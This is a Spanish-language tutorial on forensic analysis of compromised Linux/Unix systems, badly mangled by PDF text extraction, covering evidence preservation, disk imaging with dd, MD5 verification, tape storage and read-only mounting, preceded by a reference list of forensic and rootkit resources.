9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 4: Análisis Forense de Sistemas GNU/Linux, Unix

Los pasos para empezar la investigacioacuten de un incidente son diferentes en cada caso El investigador debe tomardecisiones basaacutendose en su experiencia y el sexto sentido para llegar al fondo del asunto No es necesario seguirpasos determinados ni su orden es importante a veces

Puede que algunos pasos baacutesicos sean maacutes de lo que hace falta y tambieacuten puede ser que estos sean insuficientes parasolucionar el problema Los pasos baacutesicos pueden concluir en localizar todas las huellas y eventos que se produjeron

Y en supuestos los pasos baacutesicos no han desvelado la situacioacuten se debe recurrir a llevar acabo un anaacutelisis profundo ode-compilacioacuten de las aplicaciones encontradas durante la buacutesqueda Estas aplicaciones pueden ser escritas totalmentedesde cero y protegidas pero en la mayoriacutea de los casos son aplicaciones utilizadas de forma comuacuten que circulan porla red esteacuten o no esteacuten protegidas Cuando hablamos de proteccioacuten de ficheros podemos hablar sobre teacutecnicas deconfusioacuten ofuscacioacuten y compresioacuten (Ver apeacutendice A para detalles)

14 Indicaciones

En vez de utilizar a rajatabla el orden de los procedimientos que fueron establecidos por otros analistas forensesse debe considerarlos como recursos y el orden necesario en cada caso puede variar Una vez aprendidas teacutecnicasgenerales se podraacute combinarlos con la experiencia y crear sus propios trucos en un futuro Es como ser un cocineroque utiliza el libro de recetas para preparar sus platos y con experiencia modifica las recetas para obtener un platouacutenico

La persona que ha descubierto el incidente debe asegurarse que hay maacutexima informacioacuten intacta posible para que elinvestigador forense pueda realizar su trabajo con eacutexito ya que la informacioacuten encontrada dentro del sistema registrala historia real de lo que ha sucedido

Hay solo una uacutenica cosa que es comuacuten para cada investigacioacuten forense y no es suficiente repetirla siempre Se debetener a mano un cuaderno y un boliacutegrafo para apuntar inmediatamente todos los pasos que efectuacutea durante el procesode investigacioacuten Tambieacuten se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben serefectuadas con lentitud precaucioacuten metoacutedica y pensaacutendolo dos veces antes de hacer cualquier cosa ya que cualquiererror puede llevar consigo consecuencias como peacuterdida de pruebas

Tener el cuaderno con las notas a mano puede ser necesario para refrescar la memoria varios meses despueacutes de lainvestigacioacuten cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos)

Las notas tambieacuten ayudaraacuten a calcular de forma maacutes precisa las peacuterdidas sufridas por la empresa evitando estimacionesexageradas que suelen producirse durante los casos criminales por parte de empresas afectadas abogados e otrosterceros

15 Equipo Necesario

4

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalacioacuten se utilizoacute ladistro que no las incorporaba ya que la instalacioacuten de estas herramientas por defecto a veces causa problemas Mientrasque si se utiliza cualquier distro como RedHat Debian el analista puede configurar el software seguacuten sus preferencias

Referente a las teacutecnicas de anaacutelisis forense descritas a continuacioacuten asumo que utiliza un sistema operativo RedHatLinux i386 sobre cualquier placa madre compatible con Intel Estas teacutecnicas son casi ideacutenticas para cualquierade las versiones o distribuciones de GNULinux oacute Unix pero algunas caracteriacutesticas de i386 pueden variar de unservidor a otro (ejemplo utilizacioacuten de controladores IDE limitaciones de PC BIOS etc) Consulte manuales deadministracioacuten y seguridad de sistema de su distribucioacuten de GNULinux

Equipo Principal - Es preciso tener un sistema dedicado propio para poder hacer el anaacutelisis sin tener interrupcionespor procesos de otros usuarios ni estar vulnerable a los ataques de limpieza [2] Un ejemplo de configuracioacuten de unlaboratorio forense puede ser siguiente

bull Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE

bull Por lo menos 2 discos duros gt 8Gb sobre el controlador IDE principal (para almacenar el sistema operativoy herramientas maacutes espacio para poder copiar las particiones salvadas desde la cinta y espacio adicional pararecuperar la informacioacuten borrada desde discos duros)

bull Un segundo controlador IDE sin utilizar Eso significa que no deberaacute mezclarse con modificacioacuten de configu-raciones de hardware de los discos Simplemente enchufelos y apareceraacuten como devhdc (master) oacute devhdd(slave)

bull Tarjeta de interfaz SCSI (eg Adaptec 1542)

bull Dispositivos de cinta DDS-3 oacute DDS-4 4mm (se necesita bastante capacidad para almacenar informacioacuten de lasparticiones grandes)

bull Si el sistema estaacute conectado a una red deberaacute ser perfectamente parcheado y no tener ninguacuten servicio de redfuncionando salvo SSH (para acceso remoto y transferencia de ficheros) RedHat Linux 73 con Bastille Linux 20BETA es muy buena opcioacuten (Combinacioacuten utilizada en el lab de Activa Link)

5

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

